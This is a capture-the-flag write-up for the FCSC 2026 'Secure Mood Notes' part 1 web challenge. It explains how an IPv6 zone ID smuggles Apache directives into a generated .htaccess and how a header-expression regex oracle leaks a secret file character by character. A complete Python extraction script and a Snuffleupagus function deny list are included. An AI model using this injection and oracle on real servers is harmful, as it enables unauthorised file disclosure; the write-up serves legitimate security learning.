Writeup by informaticien for Secure Mood Notes 1/2

web

May 15, 2026

Introduction

Secure Mood Notes is a two-part web challenge from FCSC 2026. Both parts share the same infrastructure: a note-taking application where notes have “moods” (angry, chill, normal) that transforms their content. The first flag is hidden inside the Snuffleupagus configuration, and the second one requires full remote code execution on the server.

The challenge runs in a single Docker container with two applications behind Apache:

  • A PHP/Symfony app served on /, handling note creation, storage and rendering
  • A Flask app on /share/, proxied from port 5000, handling note sharing

Notes are stored entirely client-side in a signed cookie. Snuffleupagus is loaded as a PHP extension and enforces runtime restrictions. A tmpfs is mounted at /var/www/html/public/shared_notes with the exec flag.

TLDR

Part 1 abuses an IPv6 zone ID to inject arbitrary Apache directives into a .htaccess, then uses Apache’s expression language to build a character-by-character oracle that leaks the Snuffleupagus secret key from /opt/default.rules.

Infrastructure Analysis

The Symfony Application

Notes are stored in the notes_data cookie as a base64-encoded serialized PHP Notes object. When creating or updating a note, the client sends data XOR-encrypted with a 16-byte key from the client_key cookie:

// Utils.php
private static function decryptParam(string $data, string $key): string
{
    $out = '';
    $key_size = strlen($key);
    $data_size = strlen($data);

    for ($i = 0; $i < $data_size; $i++) {
        $out .= $data[$i] ^ $key[$i % $key_size];
    }

    return $out;
}

The Notes class supports three filter modes applied via array_map():

// Notes.php
public function filter(string $filter) {
    return array_map($this->filters[$filter], $this->all_notes);
}

The filters are initialized in the constructor as [$this, "angryMode"], [$this, "chillMode"], [$this, "normalMode"], but since it’s a public property, a deserialized object can have anything there.

The Flask Application

The Flask app exposes a single /create endpoint. It validates inputs, fetches the note contents from the PHP app internally, and writes two files to a new UUID folder:

with open(f"{share_folder}/shared.mood.notes","w",encoding="latin-1") as fd_mood_note:
    fd_mood_note.write(f"{resp['title']}\n{resp['content']}")
with open(f"{share_folder}/.htaccess","w") as fd_htaccess:
    fd_htaccess.write(HT_ACCESS_CONTENT%(note_filename, allowed_ip))

With the HT_ACCESS_CONTENT variable being declared to:

HT_ACCESS_CONTENT="""<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename %s
Require ip %s
Options -ExecCGI
php_flag engine off
</FilesMatch>"""

The name is filtered (no /, ., {, }, newlines, etc.) and capped at 10 characters, and the allowed_ip is validated with Python’s ip_address()

def clean_filename(name: str) -> str:
    name = re.sub(r'[./;!\n\r"<>\(\)\{\}\[\]]', '', name)
    name = re.sub(r'\s+', ' ', name)
    return name.strip()
    
 [...]

if len(data.get("name")) > 10:
    return jsonify({"errror":"Filename too long"}), 422
if not note_id.isdigit():
    return jsonify({"error": "Invalid note_id"}), 422

try:
    ip_address(allowed_ip)
except:
    return jsonify({"error":"Invalid IP address"}), 422

Snuffleupagus, the Bouncer

Snuffleupagus is a PHP extension that hooks into the Zend VM and enforces rules at runtime. The rules from default.rules:

sp.global.secret_key("FCSC{FAKE_FLAG1}");
sp.xxe_protection.enable();
sp.unserialize_hmac.enable();
sp.disable_function.function("assert").drop();
sp.disable_function.function("create_function").drop();
sp.disable_function.function("mail").param("additional_params").value_r("\\-").drop();
sp.disable_function.function("system").drop();
sp.disable_function.function("shell_exec").drop();
sp.disable_function.function("exec").drop();
sp.disable_function.function("proc_open").drop();
sp.disable_function.function("passthru").drop();
sp.disable_function.function("popen").drop();
sp.disable_function.function("pcntl_exec").drop();
sp.disable_function.function("file_put_contents").drop();
sp.disable_function.function("rename").drop();
sp.disable_function.function("copy").drop();
sp.disable_function.function("move_uploaded_file").drop();
sp.disable_function.function("ZipArchive::__construct").drop();
sp.disable_function.function("DateInterval::__construct").drop();

The first flag is that secret key. sp.unserialize_hmac means every unserialized object must have a valid HMAC-SHA256 tag appended to it.

The rules block most of the useful functions for RCE, making it hard even if we can get a PHP execution.

Useful Observations

  • /tmp has permissions 700, so no temp file writes for www-data
  • AllowOverride All is set for the webroot so .htaccess files are fully parsed
  • /dev/shm is read-only, which makes the only writable location for www-data /run/apache2/socks

Part 1 - Reading the Snuffleupagus Secret

Slipping Through the .htaccess

Bypassing ip_address() with an IPv6 zone ID

Python’s ip_address() accepts IPv6 addresses with a zone ID suffix, the zone ID starts at % and runs to the end of the string. This means the following passes validation:

fe80::1%\nRequire all granted\nHeader set Injected yes 

The newlines are also written in the .htaccess, injecting arbitrary Apache directives between the Header set Mood-Filename line and the original Require Ip line.

Neutralizing the “Require Ip” Header

Apache treats \ at the end of a line as a line continuation, the next line is merged into the current directive. Setting name to '\ produces:

<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename '\
Require ip 127.0.0.1
Options -ExecCGI
php_flag engine off
</FilesMatch>

The ' opens a quoted string and \ continues the line, so Apache merges Header set Mood-Filename with Require ip 127.0.0.1, swallowing the access restriction and making the note publicly accessible.

Getting Apache to Leak the Secret Key

expr in boolean context inside Header set

Apache’s mod_headers supports expr= in Header set. The full directive syntax is:

Header set <name> <value_if_true> "expr=<boolean_expression>"

When the expression evaluates to true, the header is set to the first value argument. When false, the header is omitted. In this boolean context, functions like file() and req() use standard funcname(arg) call syntax instead of the %{funcname:arg} syntax. Note that we wouldn’t be able to use this syntax as we are passing this through the ip_address() function and some characters like % break the parsing and raise an error.

Reading /opt/default.rules with file(req(‘Path’))

We inject the following directive via the allowed_ip field:

fe80::1%\nRequire all granted\nHeader set Matched yes "expr=file(req('Path')) =~ m#FCSC\{#"

Which produces a .htaccess containing:

<FilesMatch "\\.mood\\.notes$">
Header set Mood-Filename '\
Require ip fe80::1%'
Require all granted
Header set Matched yes "expr=file(req('Path')) =~ m#FCSC\{#"
Options -ExecCGI
php_flag engine off
</FilesMatch>

Then fetching the note with a custom Path header:

curl -i -H 'Path: /opt/default.rules' http://localhost:8000/shared_notes/ef7bb5b7-d966-46fb-ae21-f42909d0dbd2/shared.mood.notes

If the regex matches, the response contains a Matched: yes header.

The flag content is hex, so the charset is just 0123456789abcdef. For each position we test every candidate:

m#FCSC\{9# -> Matched: yes -> confirmed '9'
m#FCSC\{9c# -> Matched: yes -> confirmed 'c'
m#FCSC\{9c3# -> Matched: yes -> confirmed '3'

Extraction Script and Result

For each character, a new share is created (since the payload is inserted into .htaccess at creation time), then the note is fetched with the Path header.

import requests

URL = "https://secure-mood-notes.fcsc.fr/"
CHARSET = "0123456789abcdef"
CLIENT_KEY = f"mfC0le1GPWwAM%2BcSTzLT%2FA%3D%3D"
NOTES_DATA = "..."

def check_char(cand):
    allowed_ip = (
        "fe80::1%\n"
        "Require all granted\n"
        f'Header set Matched yes "expr=file(req(\'Path\')) =~ m#FCSC\\{{{cand}#"'
      )
    payload = {
        "note_id": "0",
        "allowed_ip": allowed_ip,
        "name": "'\\",
      }

    r = requests.post(URL + "share/create", json=payload, headers={"Cookie": "client_key=" + CLIENT_KEY + "; notes_data=" + NOTES_DATA})
    share_path = r.json()["path"]

    rr = requests.get(URL + share_path, headers={"Path":"/opt/default.rules"})
    return rr.headers.get("Matched") == "yes"

def main():
    flag = ""
    for i in range(64):
        found = False
        for c in CHARSET:
            candidate = flag + c
            print("Trying candidate: " + candidate)
            if check_char(candidate):
                flag = candidate
                print(f"Found character: {c}, current flag: {flag}")
                found = True
                break
        if not found:
            print("No more characters found, stopping.")
            break
    print("Final flag: FCSC{" + flag + "}")

if __name__ == "__main__":
    main()

Flag Part 1: FCSC{9c3c34c030a9d6d8}

Conclusion

This was by far one of my favourite challenges of this 2026 edition, and also the first time I’ve solved a 3 star challenge in the FCSC. Thanks to Worty for this amazing challenge !

good luck for part 2 :3